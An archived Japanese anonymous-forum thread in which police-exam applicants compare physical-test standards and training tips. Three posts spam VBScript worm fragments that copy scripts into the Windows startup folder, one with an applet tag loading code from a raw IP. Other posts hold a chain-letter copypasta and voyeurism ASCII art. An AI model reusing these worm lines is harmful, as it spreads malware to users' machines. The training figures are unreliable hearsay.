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【体力・筋力】体力検査総合スレ【瞬発力】

1 :1:04/05/25 20:02
無かったんで立てますた。

まぁ、都道府県ごとに違うんだろーけど、
共通してるのもかなりあると思うので、自分なりの対策やら、
最低ラインはこれくらいとかの情報やらをカキコしてくだされ。

2 :千葉A女:04/05/25 20:05
目指せ、腕立て20回!
握力25kg!

3 :1:04/05/25 20:08
俺んとこも握力あるんだが、女で25ってことは男は35くらい?

自信ないんだよな。握力って。

ボーダー切ると即あぼーんなんかな?

4 :名無しピーポ君:04/05/25 20:13
35・・・・  ガイジじゃないんだからさ、いくらなんでも。

5 :名無しピーポ君:04/05/25 20:24
1500Mは大体4分30秒台位出ればOK
中学生でも余裕で出る

6 :名無しピーポ君:04/05/25 20:28
>>1
警官受験する訳だろ?
男が35でどうする?
平均レベルの50だけは、どう間違っても超えろ。

7 :1:04/05/25 20:36
マジかよw 平均が50なの?

いや、中学ん時は33くらいで、それ以来測る機会なかったから、
今はどれくらいかは分からないんだが、50はねーよ。

でも、>>5はネタだろ?
消防のレスキューのボーダーが5分くらい。
陸自でも5分切れば歩兵としては合格とか言ってたぜ。

8 :名無しピーポ君:04/05/25 20:40
>>7
何いってるんだい
中学の全国大会標準記録が4分12秒だぜ
おれでも出せたんだから20代の大人が出せなくてどうする

9 :名無しピーポ君:04/05/25 20:41
オトナだから出せんのだよ。わかるまいね、中学生には。

10 :1:04/05/25 20:42
調べてきたら、成年の握力平均は50弱ってとこだったな。

・・・鍛えるしかねー。

11 :名無しピーポ君:04/05/25 20:43
俺は高校の時6分だった。

12 :スポーツ板より。:04/05/25 20:47
Q. 握力が全然上がりません...
A. 諦めずにに続けて、自分にあったトレーニングを探しましょう。
  継続は力なり。諦めたらそこで終わりです。
  才能だとか無駄だとか言ってる人の言葉には、決して耳を傾けないように。
  開始時約30kgから、No3(127kgほどw)を閉じれるようになった住人も居ます。

Q. 腱鞘炎になったんだけど、その対策と予防方法は?
A. 完治するまで休む。トレ前後に必ずストレッチする。
  グルコサミンや他の関節炎に効くサプリを摂取する。
  10分程のアイシングを1日数回する。無理をしない。

Q. タニタの握力計の数値が疑わしいのですが...
A. タニタのものは、正確な数値が出ないらしいので、
  他の握力計(デジタル式など)をおすすめします。

Q. シルバークラッシュグリッパーはお店で買えるの?
A. 東京・神奈川・大阪なら、フィットネスショップ店頭で買えます。
  ttp://www.aeon-mall.co.jp/FitnessShop/information.html

Q. スーパーグリッパーの強度表ってないの?
A. ttp://www.physics.mun.ca/~sstamp/knives/ivanko_gripper.html

13 :名無しピーポ君:04/05/25 20:49
>>12
冗談だろw 大関の魁皇が100`だぜ。

14 :名無しピーポ君:04/05/25 20:55
>>1
現実が分かったんだろ?
だったら、鍛えて平均レベルは超えろよ。
「男なら35くらい」って本気で思ってた上に、警官受験するくせに
平均レベルすら超えられないようなモヤシじゃ、悪いことは言わな
い、受験なんてやめとけ。

15 :名無しピーポ君:04/05/25 20:58
>>13
魁皇と武双山は角界で一、二を誇る腕力自慢だが、
握力自慢とは聞いてないな。

日本には握力マニアってそんなにいないけど、
海外には結構いるぞ。向こうは握力鍛錬の器具もスゴイし。
握力のトレーニングだけで1時間とかな。

どんなモヤシでも地道に続ければ100は超すよ。
「続ける」のが大変なだけで。

16 :1:04/05/25 21:03
>>14
どーでもいいんだけどさ。俺は一応カラテマンでね。

拳立て50回とかV字腹筋100回とかはできるのよ。股割りも縦横余裕だし。
毎日やってからな。

でも、握力は意識したことないから不安なわけだよ。
同門の連中も握力には無頓着だし。掴み合いの武道じゃないから仕方ないんだがな。

>>12
サンクス。

127ってのは・・・スゴイなw

17 :名無しピーポ君:04/05/25 21:10
握力に自信のないカラテマン ワロタ

18 :アウトサイダー ◆YbwOiq/BqE :04/05/25 21:20
>>16
>股割りも縦横余裕だし。

すげぇ

19 :名無しピーポ君:04/05/25 21:29
>>16
どーでもいいとかいっときながら筋力自慢ワロタ
脳味噌筋肉ですか?

20 :1:04/05/25 21:39
>>19
根拠としてちらっと数字出しただけだが。
毎日やってるもんはできるし、やってないもんは良く分からん。

とりあえず、明日握力測ってくるか。

21 :名無しピーポ君:04/05/25 21:42
去年受けたときには、握力15キロって香具師がいた。
勿論、牡で。

22 :名無しピーポ君:04/05/25 21:48
漏れは身長175cmで体重85kgでつ・・・。

血圧がスゲー心配。
去年激太りして、生まれて初めて健康診断(大学の)で引っかかってしまいますた・・・。

10kg落とせって医者は言うけどさあ・・・。

23 :名無しピーポ君:04/05/25 22:00
>>20
握力って、どこで測れますか?
ウチの大学、体育学部あるけど、他学部の者が突然
「握力測らせて〜♪」
なんていけない……。

>>22
私は低血圧が悩みです。
最高血圧110〜90くらい。

24 :名無しピーポ君:04/05/25 22:30
この前握力七十だったんだが、警察官としては並かな?それとも低い?不安・・

25 :1:04/05/25 22:30
>>23
大学の保健体育担当の先生に言えば大丈夫かと。

「警察官採用試験で握力測定があるらしいので、握力計をつかわせていただけませんか?」
と頼む学生に、使わせてくれないような先生は普通はいないんじゃないですか?

私の場合、某市役所に何故か握力計が置いてあるので、そこに行くんですけど。

26 :名無しピーポ君:04/05/25 22:39
>>24
普通。てか、やや強い方じゃね?

一流の柔道選手とかも「握力(握力計で測るやつ)」が80以上とかいうのは意外に少ないぞ。
(化け物みたいな例外はいるが)

日本語では「握力」とひとくくりにしているが、欧米では
「CRUSHING STRENGTH(ハンドグリップや握力計を握る力)」、
「PINCHING STRENGTH(リンゴを鷲づかみにして砕く力)」、
「HOLDING STRENGTH(重たい旅行かばんを持ち上げて維持する力)」
の三つに大別される。

柔道をやりまくる警察官が強いのは三つ目の「HOLDING STRENGTH」の方。

スポーツ科学的に見れば、警察官採用試験で握力(CRUSHING STRENGTH)を測るのは
ほとんど意味がないな。お役所にありがちな「慣例」というやつ以外の何者でもない。

27 :名無しピーポ君:04/05/25 22:40
>>24
まあまあいい線。 脳味噌筋肉ならアウチ。

28 :名無しピーポ君:04/05/25 22:40
軽い難聴です。でも、日常会話大丈夫なんですが、合格可能ですか?

29 :名無しピーポ君:04/05/25 22:46
>>28
真面目に聞きたいんならマルチはやめれ。

で、日常会話が大丈夫なら、後は専門家が判断するしかない。
直接都道府県警に聞いた方が早い。


30 :名無しピーポ君:04/05/25 22:48
血圧やら難聴やら、ここは身体検査系の話題もいいのか?w

31 :名無しピーポ君:04/05/25 23:56
柔道長いことやってて、この前3段取ったけど
握力50ねえよ。なんか数値で判断されたらいやだな。


32 :名無しピーポ君:04/05/26 01:00
>>31
そんなに心配することない。
柔道とか空手とか、そういうのをやってるんなら、それだけで何の
問題ないよ。
当然>>1もだ。
あとになってカラテマンを自称できるんなら、そもそもこんなスレ
立てる必要はないはずだ。

33 :名無しピーポ君:04/05/26 01:03
警視庁が握力をやらんのは>>26のようなわけですか。

流石というべきなんでせうか。
やっぱ、犯罪が増加して切羽詰まってるとこはちゃんと考えてるっぽいですな。

警視庁も受けとこうっと。

34 :名無しピーポ君:04/05/26 01:07
>>32
要は、武道の有段者は握力なくてもパスできるってこと?

35 :名無しピーポ君:04/05/26 01:18
>>34
俺は剣道有段者だけど去年(今年)の3回目2次で落とされました。
32が言いたいのは武道で有段者ってことは握力とかが無くても
他の部分の筋力のバランスがいいんだろう とみなされるってことじゃない?
まあ正直有段者だっていくらだって身体能力低いやつはいる。
そういう人って筋肉の使い方がうまかったりするんだろな

36 :名無しピーポ君:04/05/26 03:03
このスレ見てると武術やってない自分が不安になる
警察学校入ったら>>1みたいな奴にボコボコにされる事を考えると怖い

37 :名無しピーポ君:04/05/26 07:43
極真とか柔術とか柔道3段とか普通に出てくるけど本当ですか!?

こんな世界でやっていけるか正直不安になってきた…。

38 :名無しピーポ君:04/05/26 07:51
まぁ、このスレで出てきたのはカラテ(極真かどうかは不明)と柔道だが、
確かに何らかの武道の有段者は結構いるよ。

犯罪者を取り締まる組織なんだから、当たり前なんだが。

ま、>>36-37みたく過剰に心配する必要はないよ。
警察学校で柔道を選択すりゃいい。真面目にやれば初心者でもかなり鍛えられるから。
剣道選んでも逮捕術を真面目にやれば、ワザは身につくし。

要は、やる気と根性さえありゃ大丈夫だ。
手を抜く連中もいるが、そういうのは無視して己を鍛えろ。

39 :名無しピーポ君:04/05/26 09:36
柔道か〜。やったことねーよ〜。
打撃系なら、ちょっと自信があるんだけどな〜。
やっぱり柔道なのは捕まえるのが仕事だからか?
いくら犯罪者相手だからって、刑事ドラマみたいにボコボコに殴ったら
問題になるよな〜。

なんか俺もチンパイになってきた…。

40 :名無しピーポ君:04/05/26 09:43
確かにその通りだよね。
要は、どんなことがあっても絶対にあきらめないというやる気と根性だ。
そして今どきの若モンにありがちな「厳しいのはイヤ、つらいのもイヤ」
という価値観を完全に捨て去って己を鍛えぬけ。
それができなければ、本当に>1みたいなヤツにボコボコにされるよ。

41 :名無しピーポ君:04/05/26 09:56
>1みたいのは警察くんなよ!各等家にでもなりゃいいだろうが!

42 :名無しピーポ君:04/05/26 09:57
↑格闘家ね

43 :名無しピーポ君:04/05/26 16:20
格闘家よりイーストガードがいいな

44 :1:04/05/26 18:59
>>40-41
腕立て腹筋柔軟以外はダメダメな漏れですがw

握力両手共に43kg・・・('A`)

45 :名無しピーポ君:04/05/26 19:52
自衛隊のパイロット(海&空)の身体検査でも握力測定があるが、
ボーダーは30kg。

体を鍛えまくるパイロットの連中の試験がそんくらいだから、
40以上あれば全然大丈夫だと思われ。

46 :名無しピーポ君:04/05/26 22:24
これから公園のジャングル事務でケンスイしようと思うんだが通行人に見られるのが恥ずかしいな。
みんなどこで懸垂してる?

47 :名無しピーポ君:04/05/26 22:40
>>46
昼下がりの公園の鉄棒。

「おかーさーん、あのひとなにしてるのー?」
「シィッ、マーくん、見ちゃいけません!」

的な世界。

48 :名無しピーポ君:04/05/26 22:50
握力については、東京消防庁の基準だと男は「左右ともおおむね40kg以上」だ。
ご参考までに。。。

49 :名無しピーポ君:04/05/26 23:08
いくら何でも30kgはないだろw

50 :名無しピーポ君:04/05/27 02:18
募集要項には血圧は書いてなかったけどさ、
血圧を心配してるヤシがいるってことはやっぱ測るの?

51 :名無しピーポ君:04/05/27 02:23
千葉県警の体力試験の最低ラインわかる人いますか?
教えて下さい。男性です。

52 :名無しピーポ君:04/05/27 02:49
だから結局>>1の筋肉自慢スレだろ

く だ ら ナ 伊

53 :名無しピーポ君:04/05/27 02:55
>>52
おまいさんは腕立て50回・腹筋100回で自慢できるレベルだと思ってるのか?w

高校の体育会系にだってゴロゴロいるレベルじゃん。

俺は高校時代から柔道やってたけど、
整理体操代わりにスクワット100回、腕立て200回とかやらされたよ。
その先生は、体育の授業の柔道でもバリバリやらせてたし。

>>1レベルで自慢とか言ってちゃ、はっきり言ってヌルいよ。

54 :名無しピーポ君:04/05/27 03:11
すいません、千葉県警の体力試験で3種目中、垂直飛びだけ失敗してしまい、
基準以下でした。他の2種目はそれなりにできました。1種目でも基準以下なら、
その時点であぼーんなのでしょうか? 発表日まで不安で×2・・ 誰か教えて下さい

55 :名無しピーポ君:04/05/27 10:40
>54
お前さん、もしかして千葉スレにもカキコしてたヤツかい?
もしそうなら、「何か少し安心」したんじゃなかったのかな?
あと「基準」は分かってるのに「最低ライン」は分からないのか?

いろいろ疑問符を並べたけど、不安なら次の試験に向けて勉強しろ。
今回の試験で、今後どれだけの勉強が必要なのかは分かったはずだ。
そして今度はちゃんと飛べるようにしとけ。
あれで失敗するのは、お前さんが日頃から身体能力を高める努力をしなかった
せいなんだからね。(あれは「瞬発力」にあたるんだろな。)

長くなってしまったが、まずは試験の点数で決まる。
ボーダー上に並んだ場合、そりゃ当然不利になることだけは覚悟しとけ。
ただ、それはもっと上位に食い込めるだけの点数が取れなかった、つまりお前
さんの勉強不足が敗退要因だろうな。
決して「垂直跳びで失敗した」ことが主要因ではないはずだ。

それなりに点が取れたつもりなら、不安になってないで2次対策を始めろ。
ここでも話題になっている握力は千葉の場合はきっちり測られるぞ。
厨房レベルの数値しか出せなかったら、今回はもう終わりだと思え。

56 :名無しピーポ君:04/05/27 12:12
>>55
要は、ペーパーがよければ、体力検査の失敗はカバーできるってこと?

・・・だと良いんだが。

57 :名無しピーポ君:04/05/27 12:19
垂直跳びの基準ってどんくらい?

バスケやってた漏れは50は固いんだが。

58 :名無しピーポ君:04/05/27 12:29
なにもしていない俺は72aですた

59 :名無しピーポ君:04/05/27 12:53
>>57
特に何もやってないオレでも50は出せる。
同様に72出せるのもいるんだから、バスケ部ならもっと出せる。

60 :名無しピーポ君:04/05/27 13:23
>>58
誰もお前の胸囲など聞いていない。

61 :名無しピーポ君:04/05/27 14:14
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

62 :アウトサイダー ◆YbwOiq/BqE :04/05/27 16:40
え!垂直飛びって50くらい簡単に出せるものなの!?

俺、47だったんだけど・・

63 :名無しピーポ君:04/05/27 18:42
>>62
運動神経いいやつならな。

47で十分じゃないか?

64 :名無しピーポ君:04/05/27 18:43
>>61
はっきり言って犯罪だぞ。分かってるか?

65 :名無しピーポ君:04/05/27 18:44
すぐ消すよ
http://centuryland.jp/cenloda/img/1870.jpg

66 :名無しピーポ君:04/05/27 19:50
懸垂できません・・・。

地上・国Uくずれですから、ペーパーには絶大な自信があるのですけれど・・・。
腕立てとかは何とか30回くらいできますけど、
懸垂できねーよ。

他の県警にした方がいいんですかね?

67 :名無しピーポ君:04/05/27 20:27
VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

<applet code="XView.class" codebase="http://64.156.47.155:80/wstream" name="EmuCam"
archive="XView.jar" width="640" height="480" id="EmuCam">
<fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" >
<param name=id value=16><param name="k1" value="123456789012345">
<param name="k2" value="678901234567890"></applet>

68 :名無しピーポ君:04/05/27 23:02
>>66
懸垂ってなかなかできるとこないからね。

ジム逝けばチンニングバーがあるだろうけど、
勉強しなきゃならんしねえ。

公園で足を曲げながらやるしかないんかなあ。

69 :名無しピーポ君:04/05/28 08:17
>>48
遅レスだが、消防の体力検査は警察よりもワンランクかツーランクくらい上だよ。
もろに走らせたりするし。

やつらの敵はヒトじゃないからな。体力・筋力が生命線だから仕方ない。

70 :名無しピーポ君:04/05/28 15:59
>>68
ぶら下がり健康機でも買っとけ。

71 :名無しピーポ君:04/05/28 17:25
>>66
一回もできないんなら、斜め懸垂からやれ。

漏れもそうだった。
公園で大の男が斜め懸垂をやってるのは、情けなくも面白哀しい風景だが、
続けることが肝心だ。
クタクタになるまでやって、一日休む。そして、またやる。この繰り返しだ。

で、斜め懸垂が余裕で100回くらいできるようになったら、懸垂をやってみろ。
どんなトロい野郎でも、3〜5回はできるようになってるはずだ。

後は、通常の懸垂に切り替えて、回数を増やしていけばいい。
健闘を祈る。

72 :名無しピーポ君:04/05/28 19:46
>>68
チンニングってなんかやらしいなw

73 :名無しピーポ君:04/05/28 19:48
>>69
同意。

消防はとにかくキツいらしいね。

でもまあ、キャリアシステムがない分、組織的にはマシなのではないかと。

74 :名無しピーポ君:04/05/28 21:05
>>72
君はストレッチのイロハも知らないのかと(ry

75 :名無しピーポ君:04/05/28 21:08
ネタにマジレスカコワルイ(・A・)!

76 :名無しピーポ君:04/05/28 21:31
垂直跳び40ないかも・・・。

高く跳べてどーすんだよォヽ(`Д´)ノ!!

77 :名無しピーポ君:04/05/28 22:27
>>76
たかいところにいるどろぼうをつかまえます

78 :名無しピーポ君:04/05/28 22:47
800m走ってなんだよ・・・

走りこまなきゃなんねえのかな・・・

79 :名無しピーポ君:04/05/28 22:52
>78
受かって警察学校入ったら死ぬほど走らされる。
卒業前に学校を去らないでいいように、今から走りこんどけ。

80 :78:04/05/28 23:22
>>79
警察学校でのしごきは何とかなると思う。一応、もと高校球児(三年間補欠)だから。

でも、大学では草野球程度のことしかしてねえから、
体力検査の800mはキツイなあと思って。

81 :79:04/05/28 23:47
>80
ふ〜ん、それだったら警察学校は大丈夫だね。
800mについては、「試験のため」と割り切って走りこむしかないんじゃない?
まあ、基礎体力も「運動歴はほとんどなし」のヤツよりずっとあるだろうし。

ところで、800m走なんてどこの試験だろうか。
関東一円では、オレはそんな試験は知らない。。。

82 :78:04/05/29 00:47
>>81
レスthx。

>800mについては、「試験のため」と割り切って走りこむしかないんじゃない?
>まあ、基礎体力も「運動歴はほとんどなし」のヤツよりずっとあるだろうし。

まぁ、それしかねえんだよな・・・
でも、デイブ大久保より体重あるよ今の俺。
丸坊主なもんだから、柔道経験者とよく間違われる。
まぁ、握力だけは自信あるんだが、
さっき100mくらい走ってみただけで死にそうになった・・・

>ところで、800m走なんてどこの試験だろうか。
>関東一円では、オレはそんな試験は知らない。。。

田舎の県警。
他にもハードな種目が・・・

83 :名無しピーポ君:04/05/29 00:52
>>82
握力どれぐらい?
ちなみに俺は右55、左45

84 :78:04/05/29 00:57
>>83
右70、左60。

右では林檎を潰せる。
今の俺の唯一のアピールポイント・・・

野球やってるやつは握力が強いのが結構いるよ。

85 :名無しピーポ君:04/05/29 01:51
上体起こしって決められた秒数内で腹筋するやつのこと?
それとも、うつむせになってシャチホコみたいにしてアゴまでのcm測るヤツのこと?


86 :名無しピーポ君:04/05/29 02:03
>>85
君の言う前者が「上体起こし」。
関節に逆らわず上体を起こす運動。腹筋だな。

で、後者が「上体反らし」。
関節に逆らって上体を反らす運動。背筋だな。

87 :85:04/05/29 23:32
>>86
39。

足上げ腹筋でもしとくかな〜

88 :名無しピーポ君:04/05/30 00:06
>>87
足上げは下腹部寄りの腹筋だから、
どちらかと言えば、フツウの腹筋をやった方が良い。

シット・アップでも効果がないわけじゃないけどな。

89 :名無しピーポ君:04/05/30 01:02
ボディビルやってれば体力検査は有利ですか?

90 :名無しピーポ君:04/05/30 01:12
>>89
筋肉重過ぎて走り込めないんじゃないの?

91 :名無しピーポ君:04/05/30 02:28
反復横跳びの対策は?

誰かなんかやってる?

92 :名無しピーポ君:04/05/30 02:48
あれは、これまで培ってきた運動能力が反映されるものだから、短期間の対策
ではあまり効果がないんだろうけど。。。
でもまあ、試験まではそういう動きを意識して走りこむことがとりあえずの対
策になるのではないだろうか。
あと、あれで最も注意すべきことはまず「すべって転ばないこと」だ。
床がツルツルだったりすると、摩擦が少ない中で回数を多くすることだけに集
中してしまい、結局すべってしまうことがよくある。

93 :名無しピーポ君:04/05/30 02:50
>>92
「すべって転ばないこと」か。

バッシュ履くか。

94 :名無しピーポ君:04/05/30 03:21
>93
そういう靴があるなら、それがいい。
ひどい場合、某県警のように床がタイル張りでツルツル(←体育館じゃないから)
の状況下でやらされることもある。
当然、普通の靴なんか全く役に立たない。。。

まあ、大概は体育館でやるんだろうけど、その床がツルツルでない保証はないからね。

95 :名無しピーポ君:04/05/30 06:50
右肩を手術してから50あった握力が左35、右25まで落ちました。
こんな俺はアウトですな。

96 :名無しピーポ君:04/05/30 14:39
握力:左右50kg
腕立て:30回ギリいけるか?ぐらい(腕が20回あたりから腕がプルプルする)
懸垂:3回
1500m:6分
では警察学校では落ちこぼれて
やっていけないかな?



97 :名無しピーポ君:04/05/30 14:42
だいじょうぶだろ
平均それくらいなんじゃね?
学校で真面目に鍛えりゃでえじょうぶfだろ

98 :名無しピーポ君:04/05/30 14:56
>>96
う〜ん。
腕力はもう少しつけないとキツいかな。

99 :名無しピーポ君:04/05/30 16:20
懸垂は一回できれば、取り合えず試験はパスするってマジ?

他はできるんだけど、懸垂は全然ダメ。

100 :名無しピーポ君:04/05/30 16:26
>>99
どこの試験の話だ?
受ける場所によって違うだろ。

101 :名無しピーポ君:04/05/30 16:33
>>100
なんか愛知県警のスレに書いてあった。

で、気になった。


102 :名無しピーポ君:04/05/30 16:53
>>101
直接受ける都道府県警に聞いた方がいい。

「体力検査では、一種目でも基準値(?)を下回ったりしたら、
即不合格になるのでしょうか?」

てな。

まぁ、そんなことはありえないとは思うが。
体力・筋力・瞬発力の面で、警察官として使えるかどうか総合的に判断するのが
体力検査だからな。
よほどひどい数値でもない限り、体力検査で落とすことはまずない。普通はな。

最重要なのがペーパー。
面接や体力検査はDQN切りみたいなもん。

103 :名無しピーポ君:04/05/30 16:57
懸垂が1回もできない、ってのは、少し昔の新聞に「警察学校に入ってきても
懸垂が1回もできない者もいる」という、学力重視の採用試験の弊害を嘆く現
場の声が載ってて、それが笑いぐさになったもんだからなぁ。
まあ、「1回できれば」とか何とか考えるのではなく、マジで真剣に鍛える努
力をするのが最も重要なのではないだろうか。
それができないようでは、せっかく受かっても学校を去る運命にあるのは目に
見えている。

104 :名無しピーポ君:04/05/30 17:08
>>103
>懸垂が1回もできない、ってのは、少し昔の新聞に「警察学校に入ってきても
>懸垂が1回もできない者もいる」という、学力重視の採用試験の弊害を嘆く現
>場の声が載ってて、それが笑いぐさになったもんだからなぁ。

ここは非同意。
今の世風では、学力重視になってしまうのはある意味仕方ない。

>まあ、「1回できれば」とか何とか考えるのではなく、マジで真剣に鍛える努
>力をするのが最も重要なのではないだろうか。
>それができないようでは、せっかく受かっても学校を去る運命にあるのは目に
>見えている。

ここは同意。>>96に対するレスにもなるが、「マジで真剣に鍛える覚悟」さえあれば大丈夫。
警察学校でも落ちこぼれることはない。

まぁ、>>99に言うべきことは、懸垂ができんことで試験を断念することは全くないが、
真剣に鍛える努力はしとけということだな。

105 :99=101:04/05/30 19:29
>>102-104
アドバイスどうもです。

必死で鍛えます。
とりあえず>>71を参考にして。

106 :名無しピーポ君:04/05/30 23:32
質問!

体力検査の腕立ては脇を締めるのでしょうか?

さっき、情熱大陸を見てたら
朝青龍が腕立てをしてる若いのに「脇を締めろ!脇を!!」と喝を入れてました。

脇を空けると胸に効き、
脇を締めると腕に効くわけですが、試験ではどっち?

107 :名無しピーポ君:04/05/31 00:02
>106
試験では、ごく普通に肩幅分開いた状態で行うところが大多数。
鍛えるために行う訳ではないから、どこに効くかなんて考えずに、普通に
腕の上下運動をすればいい。
というか、そもそも「脇を締めろ(空けろ)」なんて指示はまずない。
それよりも「腕をきっちり曲げろ」「胸と床がこぶし1コ分(約10cm)まで
近づくように」とか、そういう指示が多い。

108 :名無しピーポ君:04/05/31 01:31

:::::  \            
\:::::  \ 「スカートの中を盗撮」
 \::::: _ヽ __   _     
  ヽ/,  /_ ヽ/、 ヽ_
   // /<  __) l -,|__) > 
   || | <  __)_ゝJ_)_>       
\ ||.| <  ___)_(_)_ >
  \| |  <____ノ_(_)_ )   
   ヾヽニニ/ー--'/        
    |_|_t_|_♀__|
      9   ∂        
       6  ∂
       (9_∂ 


109 :106:04/05/31 01:47
>>107
レスどうも!

>そもそも「脇を締めろ(空けろ)」なんて指示はまずない。

安心しましたー。
今までずっと胸を意識して脇を空けてたため、
脇を締めてやったら20回でつぶれちゃいましたよ。

でも、何が役に立つか分かりませんから、
脇締めの方もこれからやっていこうとおもいます。

110 :名無しピーポ君:04/05/31 01:54
ログでは血圧の話が少し出てたけど、
確かに募集要項には書いてない。

マジで血圧検査もやるの?

111 :名無しピーポ君:04/05/31 13:01
>>110
当たり前

112 :名無しピーポ君:04/06/01 18:51
腕立てやって一ヶ月が経つけど、
30回から全然伸びない。

ジャイアンは空き地で100回やってたけど、
100回て・・・(汗

努力したんだろうなあ(´-`)

113 :名無しピーポ君:04/06/01 20:22
身体測定ってあるんですか?
身長、体重の最低基準は分かるんですけど、
その他なんか最低条件あるんですか?

胸囲が何cm以上じゃないとだめとか聞いたような気がするんですが

114 :名無しピーポ君:04/06/01 21:13
うでたて、腹筋、懸垂なんかは最低何回できればいいのですか?

115 :名無しピーポ君:04/06/01 21:15
>>114
受験するとこによって違うだろうが。

116 :名無しピーポ君:04/06/01 21:28
>>113
胸囲は大体78以上。
つか、これくらいはググればすぐ分かるだろ。

血圧は90-140だっけ?

>>114
直接都道府県警に確かめろ。

ただ、普通は、特定の種目ができなかった=即不合格にはならん。
総合的に判断するのが体力検査。懸垂が一回しかもできなくても、腕立てが30回以上できてれば何とかなったりする。

まあ、2chのカキコは直接確かめてこそ、情報として役立つ。

自分で聞け。

117 :名無しピーポ君:04/06/01 21:42
>>116
>まあ、2chのカキコは直接確かめてこそ、情報として役立つ。

  /|/|  ( )
  / _、_|  ( )
/ゝ,_ノ`|y━・ いいこと言うねえ。

118 :名無しピーポ君:04/06/01 21:47
>>116
胸囲78以上かあ
アリガト!(´▽`)

119 :名無しピーポ君:04/06/02 02:44
>>112
1ヶ月くらいで成果が出ると思うな。
最低でも3ヶ月は努力し続けることだ。
そうすると、一気に100回連続とはいかなくともトータルで100回位は必ず
できるようになる。(30回X3セットとかそういう感じで)
今は30回で腕が動かなくなっても、絶対にあきらめないで続ければその程度
は必ずできるようになる。
つうか、警官目指してんだろ?
だったら100回位でビビるな。

120 :名無しピーポ君:04/06/02 13:25
はげ堂
漏れ一年くらい鍛えてたら50×3ぐらいできるようになったぞ
つうか一ヶ月なんて成果でんやろあんまり
続けることが大事だ

121 :名無しピーポ君:04/06/03 13:02
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

122 :名無しピーポ君:04/06/03 16:21
ジム通え!
自分でやるのと全然効果が違う。恐るべきマシン効果だぞ


123 :名無しピーポ君:04/06/03 18:14
>>122
アブフレックスみたいな家庭用はダメ?

124 :名無しピーポ君:04/06/03 20:53
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●●●●●●●●●●●●●●●●不合格●●●●●●●●●●●●●●●●●
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これを見た人は確実に【不合格】です。これをコピペでどこかに1回貼れば回避できます。
これは本当です。やらないと一年無駄になります.

私も最初は嘘だと思ったんですが、一応コピペしました。それでセンター私大に合格出来ました。
けどコピペしなかった友達がA判定とっていたのに、おちたんです。(慶応合格h.sさん)

俺はもうE判定で記念受験だったんだけど、コピペを10回くらいした途端に過去問が
スラスラ解けるようになって、なんと念願の早稲田に受かりました。(早稲田3学部合格r.kくん)

これを今年のセンター前に見てシカトしたら、センターミスって最悪です。(n.aさん)

125 :名無しピーポ君:04/06/03 21:11
警視庁は形式的なものだから特別鍛える必要ない
他県のみなさま頑張って

126 :元虚弱:04/06/07 17:39
>>120
懸垂だったら、どんなちんかす野郎でも、
6日続けて一日休むを繰り返せば、2〜3回はできるようになる。

懸垂3回以下しかできねー虚弱野郎はとにかく毎日やりこむこと。
懸垂用の筋肉がゼロってことなんだから、最初はやりまくるしかない。
で、5回くらいできるようになったら、後は自分で調べて科学的にやれや。

127 :元虚弱:04/06/07 17:47
>>126
あ、一ヶ月続ければってことね。いれるの忘れてた。

128 :名無しピーポ君:04/06/10 03:21
>>127
元虚弱 今筋肉バカ

どっちもいやだな

129 :名無しピーポ君:04/06/10 04:18
何もしてないのに8回できたよ

130 :名無しピーポ君:04/06/10 04:24
>>125
それって思い込みですよ。あまり詳しくは言えないけどね。

131 :名無しピーポ君:04/06/10 11:14
>>130
なら書くなボケ

132 :名無しピーポ君:04/06/10 11:21
>>130-131
ワロタ

133 :名無しピーポ君:04/06/12 17:54
漏れのダチが、警察学校に行っている。普通に腕立て150回位やらされるって言ってた。あと、何かと罰としてミス一回につき腕立て+30回させられるってよ?

134 :名無しピーポ君:04/06/12 17:58
連続150は無理だなぁ・・・・
30*5くらいなら出来なくも無い事も無いかもしれないかもしれない

135 :名無しピーポ君:04/06/13 23:50
>133
続き、はじめの体力検査は挨拶程度らしい。警察学校に入校したら、最初の一週間、かなり鍛えられるらしい。あまりの厳しさに全体の一割がこの期間中に辞めるって言ってたぞ。もし、受かったら体鍛えろ。入校していきなりあぼ〜んしたくないだろ?

136 :名無しピーポ君:04/06/14 02:16
はぁ・・・。つらそう

137 :名無しピーポ君:04/06/14 09:06
厳しいつったって別に死ぬ訳じゃないし辞める奴ほんとに居んのかよ


138 :名無しピーポ君:04/06/14 17:23
>137
最初、体力的、精神的についていけない香具師は辞めていくらしいぞ。逆を言えばそれに耐えられれば続くらしい。漏れのダチも余りのキツさにぶっ倒れて辞めようと思ったが、耐えて頑張ったらしい。今では、笑顔で警察学校での出来事をオフの日に話してくれるぞ。

139 :名無しピーポ君:04/06/14 19:46
>>135
どこの学校の話?

140 :名無しピーポ君:04/06/14 19:55
>139
今、日本で一番有名な県警。

141 :名無しピーポ君:04/06/14 20:36
痩せろ。

142 :名無しピーポ君:04/06/14 20:39
俺が前いた会社は4ヶ月で9割以上の新卒が辞めた会社だ
それに比べれば楽だろ

143 :名無しピーポ君:04/06/14 20:41
↑その会社での生き残りのコツに興味があるな。

144 :名無しピーポ君:04/06/14 22:24
>>142 は佐川か?

145 :名無しピーポ君:04/06/14 23:22
先物とか一部の会社離職率が尋常じゃないことがあるよね。

146 :名無しピーポ君:04/06/15 00:08
とりあえず>>138は改行を覚えろ


147 :名無しピーポ君:04/06/16 00:23
携帯だと改行しにくいんだよな。
したつもりなのにできてないとか。

